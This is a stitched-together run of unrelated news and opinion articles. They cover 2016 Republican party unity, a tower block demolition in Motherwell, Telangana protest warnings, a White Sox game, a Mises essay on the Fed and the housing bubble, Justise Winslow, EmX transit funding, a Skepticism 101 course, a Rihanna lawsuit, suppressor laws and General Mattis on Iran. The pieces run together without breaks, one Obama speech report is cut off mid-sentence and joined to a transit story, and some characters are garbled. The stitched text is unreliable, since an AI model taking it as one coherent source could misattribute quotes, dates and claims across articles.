ELECTION DEMOCRATS REPUBLICANS 1952 23% 8% 1956 15 4 1960 16 5 1964 13 20 1968 26 14 1972 33 5 1976 20 11 1980 33 15 1984 26 7 1988 17 8 1992 23 27 1996 15 19 2000 13 9 2004 11 7 2008 11 10 2012 8 7 Share of party’s voters voting against its presidential candidate Sources: Gallup (1952-1972), National Exit Polls (1976-2012)
In 1972, for instance, about a third of Democrats voted for Richard Nixon rather than George McGovern, who won the Democratic nomination despite getting only about a quarter of the popular vote during the primaries. The Democrats’ tumultuous nomination process in 1968 was nearly as bad, with many defections to both Nixon and George Wallace. The 1964 Republican nomination of Barry Goldwater produced quite a few defections. Primary challenges to Jimmy Carter in 1980 and George H.W. Bush in 1992 presaged high levels of inter-party voting in November.
There are also some exceptions; Republicans remained relatively united behind Gerald Ford in 1976 despite a primary challenge from Ronald Reagan. And there were high levels of Democratic unity behind Obama in 2008, although one can argue that a party having two good choices is a much lesser problem than it having none it can agree upon.
Overall, however, the degree of party unity during the primaries is one of the better historical predictors of the November outcome. That could be a problem for Republicans whether they nominate Trump or turn around and nominate Marco Rubio, Ted Cruz or John Kasich; significant numbers of GOP voters are likely to be angry either way.
It doesn’t necessarily mean that Republicans are bound to lose; I’d agree with David Plouffe’s assessment that a general election with Trump on the ballot is hard to predict and that Trump “could lose in a landslide or win narrowly.” But if I wouldn’t bet on an anti-Trump landslide, I’m also not sure I’d bet against one. The presumption that presidential elections are bound to be close is itself based on an uncomfortably small sample size: While three of the four elections since 2000 have been fairly close, most of them between 1952 and 1996 were not. Furthermore, the closeness of recent elections is partly a consequence of intense partisanship, which Trump’s nomination suggests may be fraying. The last partisan realignment, between about 1968 and 1980, produced both some highly competitive elections (1968, 1976) and some blowouts (1972, 1980).
Although what voters do will ultimately be more important, it will also be worth watching how Republican Party elites behave and how much they unite behind Trump. On Twitter this weekend, there was a lot of activity behind the hashtag #NeverTrump, with various conservative intellectuals and operatives pledging that they’d refuse to support Trump in November. Rubio’s Twitter account employed the hashtag also, although Rubio himself has been ambiguous about whether he’d back Trump.
It’s reasonably safe to say that some of the people in the #NeverTrump movement will, in fact, wind up supporting Trump. Clinton, very likely the Democratic nominee, is a divisive figure, and some anti-Trump conservatives will conclude that Trump is the lesser of two evils. Others will get caught up in the esprit de corps of the election. Some of them might be reassured by how Trump conducts himself during the general election campaign or whom he picks as his running mate.
But I’d be equally surprised if there were total capitulation to Trump. Instead, I’d expect quite a bit of resistance from Republican elites. One thing this election has probably taught us is that there are fewer movement conservatives than those within the conservative movement might want to admit. Rank-and-file Republican voters aren’t necessarily all that ideological, and they might buy into some of the Republican platform while rejecting other parts of it. They might care more about Trump’s personality than his policy views.
But there are certainly some movement conservatives, and they have outsized influence on social media, talk radio, television and in other arenas of political discourse. And if you are a movement conservative, Trump is arguably a pretty terrible choice, taking your conservative party and remaking it in his unpredictable medley of nationalism, populism and big-government Trumpism.
If you’re one of these ideological conservatives, it may even be in your best interest for Trump to lose in November. If Trump loses, especially by a wide margin, his brand of politics will probably be discredited, or his nomination might look like a strange, one-off “black swan” that you’ll be better equipped to prevent the next time around. You’ll have an opportunity to get your party back in 2020, and your nominee might stand a pretty decent chance against Clinton, who could be elected despite being quite unpopular because Trump is even less popular and who would be aiming for the Democratic Party’s fourth straight term in office.
But if Trump wins in November, you might as well relocate the Republican National Committee’s headquarters to Trump Tower. The realignment of the Republican Party will be underway, and you’ll have been left out of it.
Check out our live coverage of Super Tuesday.
Who’s on track to win the Democratic and Republican nominations? Check out our new interactive delegate tracker.Going, going... gone: Incredible photos show moment tower block is reduced to rubble
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This was the spectacular moment a 17-storey concrete tower block was blown to pieces - in a thundering controlled explosion.
Glencairn Tower block was reduced to 12,000 tonnes of rubble by 55kg of explosives, as council bosses blasted away almost 50 years of memories.Thousands of spectators - many of whom were once residents of the massive tower block - watched from an exclusion zone set up around the high-rise.
Hundreds more viewed the action from the safety of their homes in nearby towers as the residential building, opened 1964, was destroyed. Colin Campbell, a former tenant of the block in Motherwell, Scotland, said: 'It's been a nostalgic and emotional day for myself and probably for a number of local people.
'Having lived in and grown up in the tower I have many fond memories of the building, particularly as my dad was one of the caretakers there. It was spectacular to see and I'm sure the new houses planned for the tower site will make a positive difference to the local area.'
Glencairn Tower was once the largest of North Lanarkshire's 49 multi-storey towers.
Scroll down for video
Ready to go: 17-storey Glencairn Tower in Motherwell, Scotland sits primed with 55kg of explosives
Going! Carefully timed explosions are sett off at key points in the building and the huge structure begins to crumble
Going: The massive block, originally opened in 1964, appears to fold into itself as comes crashing to the ground
Gone: The sprawling building comes tumbling down shrouded in a cloud of dust
Aftermath: the sprawling block has been reduced to a pile of rubble. Thousands of spectators - many of whom were once residents of the massive tower block - watched from an exclusion zone
Its demolition was carried out by Technical Demolition Services (TDS) with support from Precision Demolition Company.
Cllr Barry McCulloch, convener of housing and social work services on North Lanarkshire Council, hailed the demolition as a success, saying: 'Our aim was to ensure the tower was demolished safely and with minimum disruption to local residents and businesses during this process and today's successful demolition achieved that.Hyderabad: Agitations related to the demand for separate Telangana state have prompted the US State Department to caution its citizens in Hyderabad to be careful till February 4.
A statement issued by the Consulate General of USA here said there could be also demonstrations/protests on the arrest of Owaisi brothers of MIM, that may lead to disturbances.
Following a statement by Union Home Minister Sushil Kumar Shinde last month that the decision on Telangana would be taken within a month, political parties and civil society groups opposing or supporting the statehood have stepped up their activities in Andhra Pradesh.
"Multiple events associated with upcoming religious and national holidays, a possible decision on the Telangana statehood issue, and recent arrests of local political leaders may result in large gatherings or demonstrations throughout the city through to February 4, 2013. These events could potentially lead to civil disturbances, traffic congestion, and bandhs (strikes) that disrupt routine services," the Consulate statement said.
"Please avoid the areas where demonstrations are occurring and exercise caution if within the vicinity of any large gatherings. Please stay current with media coverage of local events, be aware of your surroundings, and practise personal security awareness at all times," it advised.
The latest update on the US State Department`s website also highlighted Telangana issue. "Until the issue is resolved definitively, there may continue to be tension, especially in the Telangana Region of Andhra Pradesh," it said.
PTICalifornia: Robbers, who ransacked an NGO’s office, returned all the stolen goods to the organization along with an apology letter, which said they ‘did not know what they were taking’.
The NGO counsels those who are victims of violent sexual attacks. It was robbed by thieves on July 31 in San Bernardino County, California. The burglars dropped into the building from the roof and made off with laptops and other computer equipment. The director of San Bernardino County Sexual Assault Services Candy Stallings was called to the scene at 4am.
She was called out again by police the following night but she was surprised when she saw all the stuff that was stolen from the office. There was a note attached which read, ‘We had no idea what we were taking. Here your stuff back we hope that you guys can continue to make a difference in people live. God bless.’
The charity chief now says she plans to frame a copy of the note.The summary
The White Sox took two out of three from the Rangers when Gordon Beckham led off the 11th with a home run off Alex Claudio for a 3-2 victory in front of 33,668 at U.S. Cellular Field.
On the mound
Jose Quintana pitched seven strong innings, allowing two runs on five hits. Reliever Jake Petricka (2-2) got the win.
At the plate
Melky Cabrera collected a career-high five hits: four singles and a double. Beckham's blast was his first career walk-off homer and his second walk-off hit of the season.
In the field
Third baseman Conor Gillaspie made a diving catch of a bloop into shallow left by Mitch Moreland for the third out in the fifth with two on. In the 10th, Beckham initiated a bases-loaded, 5-2-3 double play.
Gordon Beckham on his game-winning home run. Gordon Beckham on his game-winning home run. SEE MORE VIDEOS
The number
6 — Walk-off hits for the Sox this season. They are 5-2 in extra innings.
The quote
"He's a changed person. He is not chasing the ghost of being drafted higher and doing more. He's the winning-type player, and he comes out and shows you that." — Robin Ventura on Beckham.
Up next
At Twins, 7:10 p.m. Monday, CSN.In his Wall Street Journal article from March 11, 2009, former Fed chairman Alan Greenspan rejects the idea that the Fed’s low-interest-rate policy between December 2000 and June 2004 fueled the housing bubble, which in turn laid the foundation for the current economic crisis.
(The federal funds rate was lowered from 6.5% in December 2000 to 1% by June 2003. It was kept at 1% until June 2004 when the rate was raised by 0.25%.)
Greenspan holds that what matters for the housing market is long-term and not short-term interest rates. The Fed, however, doesn’t control long-term rates, argues the former Fed chairman.
According to Greenspan, the decline in long-term rates and mortgage rates took place while the Fed had been tightening its interest-rate stance. The federal-funds-rate target was raised from 1% in June 2004 to 4.25% in December 2005.
Yet in June 2005 the yield on the 10-year Treasury note fell to 3.92% from 4.58% in June 2004. The 30-year fixed-mortgage rate closed at 5.58% in June 2005 against 6.29% in June 2004.
How in the world, asks Greenspan, can the Fed be blamed for the housing bubble and the current economic crisis?
Who, then, is to blame for this fall in long-term interest rates and for the present economic crisis?
According to Greenspan, the culprit is the savings glut from emerging economies, such as China. This glut of savings was channeled to long-term US Treasuries and other US financial assets thereby depressing their yields, argues the former Fed chairman.
Ben Bernanke concurs. In his speech at the Council on Foreign Relations on March 10, 2009 he said,
Like water seeking its level, saving flowed from where it was abundant to where it was deficient, with the result that the United States and some other advanced countries experienced large capital inflows…
What Greenspan and Bernanke call “savings” is nothing more than the amount of US dollars that emerging economies accumulated.
The accumulation of these dollars by emerging economies cannot increase the pool of dollars. The accumulated dollars are part of the existing pool of US money.
When a Chinese exporter sells goods to an American importer, he is paid with dollars. This means that the ownership of dollars is changed here, not their quantity.
With all other things being equal, a sustained decline in long-term yields requires an increase in the pool of dollars. The increase in the pool of dollars means that more American dollars will be employed as the medium of exchange. As a result, the prices of goods and assets move higher, while yields on assets are pushed lower.
However, if the accumulated dollars of emerging economies are only invested in US Treasuries, then it is tempting to suggest that a sustained fall in long-term rates without an expansion in the pool of dollars is possible.
We suggest that this is highly unlikely. If the pool of dollars remains unchanged while the quantity of goods and assets continues to expand, then this will lead to the fall in the average price. (Remember, a price is the number of dollars per unit of a good or asset.)
This means that explicit and implicit yields will come under upward pressure. (As a result, investors from emerging markets are likely to shift their funds from less-yielding Treasuries to a higher-yielding asset if the pool of dollars remains fixed, thus pushing yields on Treasuries higher.)
It is only the monetary policy of the Fed and not the accumulation of dollars by emerging economies that can set in motion changes in the pool of dollars. Hence, the fall in long-term interest rates and mortgage rates has to be the result of the Fed’s loose monetary stance.
If what we are saying is valid, then how are we to reconcile the fact that in 2005 long-term rates had been falling while the Fed was tightening its stance?
Historically, the 30-year fixed-mortgage rate and the federal funds rate have had a tendency to display a very good visual correlation. This doesn’t mean that the correlation is perfect a discrepancy in the movements between the federal funds rate and long-term rates can occur.
The emergence of a discrepancy doesn’t imply that suddenly the Fed’s policies have nothing to do with the housing bubble or boom-bust cycles.
(Recall that, because of a discrepancy during June 2004 and June 2005 between the federal funds rate and long-term rates, Greenspan has concluded that his loose monetary policy between December 2000 and June 2004 had nothing to do with the housing bubble.)
Various discrepancies between the movement in the federal funds rate and the mortgage rate are the result of a variable time-lag effect from changes in monetary policy on various markets.
Because of the variable time lag, a situation can emerge where long-term rates may ease despite the central bank’s tighter interest-rate stance.
Despite a tighter-interest-rate stance, the previous loose-interest-rate stance may still dominate economic activity. Consequently, in order to maintain a given interest-rate target in the midst of still strong economic activity, the Fed may be forced to push more money into the economy to prevent the federal funds rate from overshooting the target. (For instance, an increase in the federal funds rate from 1% to 2% is a tighter stance, yet the 2% rate can still be too low strong economic activity pushes the federal funds rate above the target.)
As a result, more money becomes available for financial markets, which puts downward pressure on long-term rates, all other things being equal.
In November 2004, the yearly rate of growth of the Fed’s balance sheet jumped to 6.9% from 4.3% in June 2004. Note that this increase in the pace of monetary pumping took place while the federal-funds-rate target was lifted from 1% in June to 2% in November.
Also note that between December 2004 and June 2005 the average yearly rate of growth of Fed assets stood at a still-elevated 6%.
Contrary to Greenspan and other commentators, we suggest that what sets in motion a boom-bust cycle is not a boom in a particular market such as the housing market but the increase in money supply out of “thin air.”
Now let us say that the dollars accumulated by emerging economies were to be invested solely in Treasuries. While this might push long-term interest rates temporarily lower, all other things being equal, it is not going to set in motion a boom-bust cycle as long as the pool of US dollars remains unchanged.
If, as a result of lower interest rates, too many dollars are invested in the housing market, it means that fewer dollars are invested in other goods. As a result, the housing market will become overvalued while other goods will become undervalued. This will set in motion an outflow of money from the housing market to other markets.
In our writings we have shown that the main source of boom-bust cycles is the Fed itself. Thus, by aggressively lowering interest rates between December 2000 and June 2004 and accompanying this with monetary pumping the Fed set in motion an economic boom.
The boom gave rise to various nonproductive (bubble) activities that emerged on the back of the loose monetary stance of the Fed. The increase in money supply led to the diversion of real funding from wealth-generating activities toward various nonproductive activities.
(Note that these activities cannot stand on their own they cannot fund themselves. They are funded by diverting by means of new money created “out of thin air” real savings from wealth-generating activities.)
From June 2004 through September 2007, the Fed adopted a tighter stance, which slowed the diversion of real funding to nonproductive activities.
As a result of this, various nonproductive activities came under pressure. (Without real funding, these activities are forced to go under.)
Now, when money is injected, it doesn’t instantly affect all the activities in an economy. The money starts with the first recipients and then moves to other recipients. It moves from one market to another market there is a time lag.
This means that various nonproductive (bubble) activities are spread across all the markets the boom is everywhere. Once the Fed tightens its stance it starts a bust, and this weakens various nonproductive activities across all the markets. The severity of the bust is dictated by the size of the boom.
(The percentage of nonproductive activities the product of the boom determines the severity of an economic bust in a particular sector of the economy.)
It follows, then, that a bubble in a particular market cannot emerge without the preceding increases in money supply. This in turn means that a bubble cannot emerge without a preceding loosening of monetary policy, which means it cannot occur without money pumping by the Fed. Hence, what matters for the economic boom, i.e., the emergence of bubbles, is the creation of money “out of thin air” and not the level of long-term interest rates.
Contrary to Greenspan, we can conclude that it is not long-term rates as such that fueled the bubble but the loose monetary policy of the Fed.
We can also conclude that the so-called savings glut in emerging economies had nothing to do with the last economic boom or the current economic crisis.
The only institution that can set in motion the expansion of money and a false boom is the Fed.
This article first appeared on Mises.org.
March 20, 2009
The Best of Frank ShostakWhen Duke coaches reminisce about Justise Winslow's lone college season, they don't necessarily flash back to their NCAA Tournament championship-game victory over Wisconsin or even how Winslow toughed out the final stretch of the season with rib and shoulder injuries.
Instead of remembering what they saw from Winslow as the season progressed, Duke's coaches are just as likely to remember what they heard from him. Winslow would emerge from video sessions to scout the Blue Devils' next opponent knowing his assignment implicitly and also all of his teammates' responsibilities. When necessary, Winslow served as a coach on the floor, sometimes correcting teammates' mistakes.
"He's one of the very best that I've been around," said Jeff Capel, Duke's associate head coach. "It was amazing to be able to hear what he saw because he was seeing the exact same things as we were as a coaching staff. That very rarely happens."
Winslow's intellect is just one of the attributes that make him perhaps the highest-rated wing in the 2015 NBA Draft. At Duke, he cemented his reputation as a tenacious defender, unselfish teammate and versatile performer. He proved so valuable that Mike Krzyzewski moved Winslow, who stands 6-feet-6½ in sneakers, from the wing to power forward midway through Duke's Atlantic Coast Conference schedule, and the shift helped galvanize the Blue Devils for their national-title run.
A few mock drafts forecast the Orlando Magic selecting Winslow with the fifth overall pick even though his addition would create a logjam on the wing, where the team already has Victor Oladipo, Evan Fournier, Aaron Gordon, Maurice Harkless, Devyn Marble and restricted free agent-to-be Tobias Harris.
Duke's Justise Winslow speaks with reporters during the NBA Draft Combine on May 15, 2015 Duke's Justise Winslow speaks with reporters during the NBA Draft Combine on May 15, 2015 SEE MORE VIDEOS
Winslow played his best in Duke's most important games. In the NCAA Tournament, he averaged 14.3 points per game, made 57 percent of his three-point tries and — even on a team that featured one of the best big men in the country, center Jahlil Okafor — led all Blue Devils in rebounding, gathering 9.3 boards per game.
"The bigger the stage, the more I stepped up," Winslow said. "But it was just me being myself, me having fun, me being the competitor I am and trying to win. So in games like that [I was] just trying to will my team to victory."
A day after Winslow turned 19 years old, Duke faced Utah in a Sweet Sixteen game in Winslow's hometown of Houston. Despite all of the distractions, Winslow scored 21 points and collected 10 rebounds to lead the Blue Devils to a 63-57 win.
NBA prospect D'Angelo Russell speaks with reporters at the NBA Draft Combine on May 15, 2015 NBA prospect D'Angelo Russell speaks with reporters at the NBA Draft Combine on May 15, 2015 SEE MORE VIDEOS
Two days later, he helped Duke reach the Final Four by scoring 16 points in a 66-52 victory over Gonzaga.
Winslow's maturity didn't surprise Duke's coaches.
Midway through the season, he suffered rib and shoulder injuries, but he played through the pain and didn't miss any games.
Capel helped recruit Winslow to Duke, and as Capel gathered information, he heard laudatory stories from Winslow's USA Basketball stints. At 17 years old, Winslow played on USA Basketball's Under-19 team, which won the gold medal in the FIBA Under-19 World Championships in Prague. The U.S. coaches told Capel that Winslow wanted to spend his downtime visiting Prague's museums and snapping photographs of the picturesque city.
Winslow became interested in art through watching documentaries, and he wants to become knowledgeable enough to invest in some pieces with his NBA earnings.
"He sees the world in a very, very mature way, an older way," Capel said. "I always joked with him that he has an old soul. It's almost like he's been here before.
"He wants to become the best basketball player that he can be, but he's not just a basketball player," Capel added. "He's a guy that has the ability to really think, to appreciate things, to feel things on a deeper level. And I think that's one of the things that makes him a very good basketball player and makes him a unique player."
Winslow's game does have some weak areas.
Although he made an impressive 42 percent of his three-point tries in college, he shot just 64 percent from the free-throw line. Also, as ESPN has noted, he made just 27 percent of his jumpers from two-point range.
"There's always a lot of room to improve no matter how good you are," Winslow said. "NBA stars will tell you they can get better. I'm young — 19 years old, fresh out of college — so I'm nowhere near my potential, my ceiling. So every day I'm trying to work harder, work smarter mentally and physically."
At last month's NBA Draft Combine, he measured at 6-feet-4½ without shoes, and the measurement raised eyebrows because he'd be short to play small forward in the NBA.
But he projects to be a shooting guard in the NBA.
"He's going to be an elite player in that league," Capel said.
"You're talking about a guy that's just starting to scratch the surface. It's not like this is the finished product. He's a big-time worker. He's obviously had incredible success already. You could make a case for the last month or month and a half, he was arguably our best player. We certainly wouldn't have won the championship without him and without him playing well."
jrobbins@orlandosentinel.com. Read his blog at OrlandoSentinel.com/magicblog and follow him on Twitter at @JoshuaBRobbins.LAS VEGAS (Reuters) - President Barack Obama urged the U.S. Congress on Friday to pass a $5 billion expansion of tax credits for clean energy manufacturing that he said would generate tens of thousands of new jobs.
U.S. President Barack Obama speaks about the economy during a visit to Las Vegas, Nevada July 9, 2010. REUTERS/Kevin Lamarque
With anxiety over high unemployment threatening Obama’s Democrats in November congressional elections, he used a campaign swing for key political candidates to defend his economic agenda and promote job-boosting measures.
Obama, accused by Republicans and some business leaders of a government overreach, also sought to strike a business-friendly tone and insisted his policies were aimed at unleashing the private sector as a catalyst for job growth.
“The private sector — not government — is, was, and always will be the source of America’s economic success,” he told a university audience in Nevada, a state struggling to overcome effects of a deep national recession.
While campaigning for Senate Majority Leader Harry Reid, who is in a tough fight for re-election in Nevada, Obama called on Congress to extend a tax credit program to foster private investment in clean energy manufacturing.
He estimated that a the $5 billion expansion would generate nearly 40,000 jobs, and the $12 billion or more in private sector investment it is expected to trigger could create up to 90 |
Street and West Seventh Avenue.
The federal agency had previously allotted the money from its Small Starts grant program, but the award was contingent on FTA and LTD finalizing a grant agreement.
LTD was confident the federal agency would award the money since the FTA earmarked the project for funding three years ago, said Andy Vobora, LTD director of customer services and planning.
The award represents the bulk of the money LTD needs to construct the new $96.5 million EmX line.
�It�s always nice to cross the finish line and know that money is there and we�re moving ahead,� he said.
Vobora said the federal agency will fully execute the grant agreement Friday, giving it access to the federal money.
Until now, the federal agency has granted LTD the authority to incur up to nearly $24 million in project expenses with the understanding LTD would be reimbursed if and when FTA approved project funding.
Crews are scheduled to wrap up EmX construction between downtown Eugene and Garfield Street later this month as they shift to work along West 11th Avenue.
With the award and construction entering its sixth month, there remains one last potential hurdle that could stop completion of the project in the fall of 2017.
An appeal of a lawsuit filed by Eugene business owner Robert Macherione and the group Our Money Our Transit remains pending before the 9th U.S. Circuit Court of Appeals.
Last year, a federal judge dismissed their claims that the FTA allowed the project to move ahead based on a flawed environmental study and without carefully considering an alternative route.
Macherione said it�s his understanding the appellate court will hear the case by the end of the year, but he had no further details.
�We know the court is going to hear it, but we have no idea when and what the requirements will be,� he said.
Macherione said it was a �foregone conclusion� the federal agency would award the money to LTD.
�I think they�ve been pushing (construction) as far as they can before the appeal got heard,� he said.
LTD officials have said they�re confident the federal court will dismiss the appeal.
The line, a nine-mile round trip, will provide 10-minute bus frequency on weekdays along Sixth, Seventh and 11th Avenues and Charnelton and Garfield streets.
EmX buses will drive on regular travel lanes and so-called business access and transit � or BAT � lanes, which enable buses to bypass traffic congestion while also allowing motorists to turn onto side streets or into businesses.
LTD�s board of directors is scheduled to vote later this month to increase its payroll tax � the transit agency�s largest source of operating revenue � starting in January to pay for a planned three-year increase in bus service hours, culminating with the opening of the new EmX line.
In addition to the federal award, LTD is paying for construction with state and other federal grant dollars and Oregon Lottery-backed bond revenue.
Follow Christian on Twitter @RGchill. Email christian.hill@registerguard.com.Or: What it was Like Teaching a Course in Skepticism 101?
On March 31, 2011, I debated Deepak Chopra at Chapman University on “The Nature of Reality” that also featured Stuart Hameroff, Leonard Mlodinow, and several other commentators, all choreographed by the Chancellor of Chapman University, mathematician Daniele Struppa. In the greenroom before the debate Dr. Struppa was reviewing my bio and noted that I am an adjunct professor at Claremont Graduate University and made a comment that I should be an adjunct professor at Chapman as well. I said something like “sure, why not?” and when he introduced me on stage he said something about how I might also one day teach there. Daniele said I could teach anything I want as part of their Freshman Foundations Courses, so I suggested a course on Skepticism 101, or how to think like a scientist (without being a geek). I taught it the Fall semester of 2011 to 35 incoming Freshman students and it was a blast.
During the semester I hatched the idea that since the Skeptics Society is a 501(c)(3) nonprofit educational organization specializing in science education, that we should organize all the course materials that professors and teachers around the world are already utilizing. That is, as I was developing my own course materials I remembered all the requests we had received over the years at the Skeptics Society from educators to reprint articles from Skeptic magazine or use videos of our Distinguished Science Lecture Series at Caltech. There are, in fact, hundreds and hundreds (maybe thousands) of such courses that go under various names that involve skepticism, science and pseudoscience, science and the paranormal, psychology and parapsychology, the psychology of belief, the history of science, the philosophy of science, science studies, critical thinking, and the like. As I went digging through our own webpage Skeptic.com and surfed the Net for other teacher’s webpages in search of good teaching materials, we thought it might be good to invite people to submit their course syllabi, lectures, Powerpoint and Keynote presentations, videos, student projects, reading lists, and the like, which we just launched last week.
EXPLORE THE SKEPTICISM 101 RESOURCE CENTER
Thanks to the support of my good friend Tyson Jacobsen I was able to hire an outstanding graduate student, Anondah Saide, to organize the Skepticism 101 program for us, which began with her TAing the Skepticism 101 course at Chapman University. Anondah was one of my graduate students at Claremont Graduate University who conducts research into the sociology of pseudoscience and the paranormal, and she has a deep interest in education and how to teach students to think critically about the paranormal and the supernatural, so she was a perfect fit for the class and this program.
The premise of the course is that we have a serious problem: we live in the Age of Science and yet pseudoscience and the paranormal are believed by far too many people still. Yes, it is better than it was 500 years ago when nearly everyone believed nonsense, but these figures from a 2009 Harris Poll of 2,303 adult Americans, who were asked to “Please indicate for each one if you believe in it, or not”:
82% believe in God
76% believe in miracles
75% believe in Heaven
73% believe in Jesus is God
or the Son of God
or the Son of God 72% believe in angels
71% believe in survival
of the soul after death
of the soul after death 70% believe in the
resurrection of Jesus Christ
resurrection of Jesus Christ 61% believe in hell
61% believe in
the virgin birth (of Jesus)
the virgin birth (of Jesus) 60% believe in the devil
45% believe in Darwin’s
Theory of Evolution
Theory of Evolution 42% believe in ghosts
40% believe in creationism
32% believe in UFOs
26% believe in astrology
23% believe in witches
20% believe in reincarnation
Yikes! More people believe in angels and the devil than believe in the theory of evolution. And yet, such results match similar survey findings for belief in the paranormal conducted over the past several decades, including internationally. For example, a 2006 Readers Digest survey of 1,006 adult Britons reported that 43 percent said that they can read other people’s thoughts or have their thoughts read, more than half said that they have had a dream or premonition of an event that then occurred, more than two-thirds said they could feel when someone was looking at them, 26 percent said they had sensed when a loved-one was ill or in trouble, and 62 percent said that they could tell who was calling before they picked up the phone. A fifth said they had seen a ghost and nearly a third said they believe that Near-Death Experiences are evidence for an afterlife.
This got the attention of these Chapman students and they got right into it. We had them write an Opinion Editorial as if it were going to be submitted to the New York Times or Wall Street Journal, in order to teach them how to communicate clearly and succinctly to a wider audience about a controversial idea (they could pick any idea from the course, which was quite broad in scope). They also had to do an 18-minute TED talk or participate in a 2 x 2 debate. It won’t surprise you to know that most 18-year old students are well aware of TED talks and have watched numerous videos at TED.com, including my own. The point was to teach them how to organize a short talk and say something meaningful in a brief period of time. The point of this exercise was to have a point! They did. And then some. Most were skeptical of the paranormal and the supernatural, so of course we had a few pro-atheist TED talks, but there were a couple of pro-God and pro-paranormal talks as well, just to spice things up. The most memorable talk had to be by a student who in explaining evolutionary psychology and why natural selection shaped us to prefer (that is, find attractive) symmetrical faces, clear complexions, shapely bodies (wide shoulders and a narrow waist in men, an hourglass figure in women with a 0.7 waist-to-hip ratio), and the like, then put up a slide of Rosie O’Donnell as an illustration of pure ugliness and why no male could possibly find her attractive. Needless to say, in the requisite Q&A (every talk had one) the women in the class made mince meat of this fellow.
As well, the students were given a midterm and final exam in essay format based on the readings for the course, which included my own Why People Believe Weird Things and The Believing Brain, bookended around Carl Sagan’s The Demon-Haunted World, Stuart Vyse’s Believing in Magic, and the book they all loved the most: Richard Wiseman’s Paranormality. In Paranormality, Wiseman provides numerous examples of how to test paranormal claims, and this led to the students final major assignment, which was a research project and YouTube video production to accompany it (or a Powerpoint presentation of their data). Check out the student projects that we have already posted in our Skeptical Studies Curriculum Resource Center.
The point of these exercises was to get students doing things that involve skepticism, not just reading and answering test questions, as well as encourage them to have fun doing so by trying to make their presentations entertaining as well as educational.
I also tried something new (for me anyway) in grading: Anondah and I independently rated each student’s OpEd, TED talk, midterm and final answer, research project, and YouTube video or Powerpoint presentation, then compared our ratings, added them up and divided by 2. During the student talks and presentations Anondah and I sat at the back of the room as the “judges”—I joked that we were like Simon and Paula on American Idol playing good cop-bad cop. That was kinda fun.
Because the course deals with many serious subjects, such as religious beliefs, political positions, social attitudes, and the like, we also outlined for them our policy on controversies:
Controversy Disclaimer
This course deals with many controversial topics related to people’s deepest held beliefs about god and religion, science and technology, politics and economics, morality and ethics, and social attitudes and cultural assumptions. I hope to challenge you to think about your beliefs in all these areas, and others. My goal is to teach you how to think about your beliefs, not what to think about them. I have my own set of beliefs that I have developed over the decades, which I do not attempt to hide or suppress; indeed, as a public intellectual I am regularly called upon to present and defend my beliefs in lectures, debates, interviews, articles, reviews, and opinion editorials. But in the classroom my goal is not to convince you of anything other than to think about your beliefs. I am often asked “why should we believe you?” My answer: “You shouldn’t.” Be skeptical, even of skeptics.
Finally, I explained that the goal of the course was parallel to the goal of the overall skeptical movement (as I see it anyway):
The Goals of the Skeptical Movement
Debunking. There’s a lot of bunk and someone needs to debunk it. Like the bunko squads of police departments busting scammers and con artists, skeptics bust myths. Understanding. It’s not enough to debunk the things that people believe. We also want to understand why they believe. Through understanding comes enlightenment. Enlightenment. The power of positive skepticism linked to reason, rationality, logic, empiricism, and science offers us a world wondrous and awe-inspiring enough.
If you want to teach your own course in Skepticism 101, or are already teaching such a course, I encourage you to go to our webpage and have a look and take what you need. All materials are free.
If you would like to support the Skepticism 101 project, please make a tax-deductible donation. We are happy to accept anything you can afford, but might I suggest a $100 donation or even an automatically recurring monthly donation of $5 or $10?
In appreciation to all those who have already help support the Skepticism 101 project.Rihanna is reportedly being sued for plagiarism by an artist claiming she copied one of his works in her 2010 video for "Rockstar 101."
According to Vibe magazine, James Clar is suing the pop star for stealing his concept.
In 2006, Clar released his piece "You & Me," comprised of neon tubes stuck to a ceiling that spell "you" and more tubes below it that spell "me."
He says that in the "Rockstar 101" video, Rihanna stole the same concept but spelled out "rock" and "star" instead.
Complex reports that although Clar is American, he is filing the lawsuit in France.
Clar's lawyer, who is arguing that the artist's unique art piece was reproduced without his permission, has submitted a complaint to Paris' Grand Instance Court.
The odds seem to be stacked against RihRih this time. Reports indicate that "French laws on plagiarism are more favorable in France than in the US."
Clar is seeking 4.9 million euros in damages, which is the equivalent of $6.64 million.
But this isn't the first time the Bajan singer has been accused of using someone else's work as her own.
Back in 2007, David LaChapelle sued Rihanna for her "S&M" video.
LaChapelle said Rih's video stole images from his Italian Vogue photo shoots.
The photographer initially sought out $1 million but the two ultimately reached an out-of-court settlement agreement.
In recent news, Damien Hirst was accused of plagiarism when he dressed Rihanna up as Medusa for British GQ.WASHINGTON, D.C. - On November 1, a new law went into effect granting hunters in the state of Oklahoma the right to use legally owned suppressors while hunting all game animals. With the help of ASA lobbyists, Senate Bill 1743 was signed into law by Governor Mary Fallin on May 25. The passage of the new law made Oklahoma the third state in 2012 to legalize suppressor use while hunting. Earlier in 2012, similar measures were also passed in Texas and Arizona.
Contrary to popular belief, suppressors, also referred to as silencers, do not render gunshots inaudible. However, often times they do reduce the report of a firearm to hearing safe levels, helping to protect the shooter and those nearby from permanent hearing damage.
In order for a civilian to purchase a suppressor, they must live in one of the 39 states that allow civilian ownership. All applicants must submit an ATF Form 4, in duplicate, to the National Firearms Act Branch of the ATF for each suppressor purchased. A Form 4, or Application for Tax Paid Transfer and Registration of Firearm, includes a stringent background check that is conducted by the FBI. In addition, applicants must submit a $200 payment for the transfer tax, duplicate copies of passport photos and fingerprints, and receive a signoff from a chief law enforcement officer (CLEO) in their jurisdiction. From start to finish, this transfer process takes anywhere from 30 days to one year to complete.
The American Silencer Association would like to congratulate Oklahoma, Texas and Arizona for enacting their new laws and regulations. The ASA will continue to work off of their momentum to push for additional suppressor regulatory reform in those states which do not allow civilian ownership or suppressor use while hunting.
About the American Silencer Association
The American Silencer Association (ASA) is a non-profit trade association, whose mission is to educate legislators, regulators, and members of the public on the legitimate uses of suppressors and pursue regulatory reform in jurisdictions where their possession and use is unduly restricted. For more information on how you can help protect and expand your right to own and use suppressors, visit www.AmericanSilencerAssociation.com.Speaking to Congress today, Central Command leader Gen. James Mattis insisted sanctions are not successful against Iran, and suggested that diplomacy had been all but useless, insisting that Iran’s “history of deceit” meant they could never be trusted at any rate.
Mattis conceded that he is “paid to take a rather dim view of the Iranians,” which is putting it mildly, and sought to stop short of criticizing the administration’s current tack, saying he “basically” supports the current direction vis-a-vis Iran.
Rather he said the goal was for Iran to be “brought to its knees” and that “open” warfare was just one of a few different options that he is considering to that end, though he insisted there was a plan ready to go on attacking Iran. He did not specify what the other options were, but the US had been engaged in covert warfare against Iran for years.
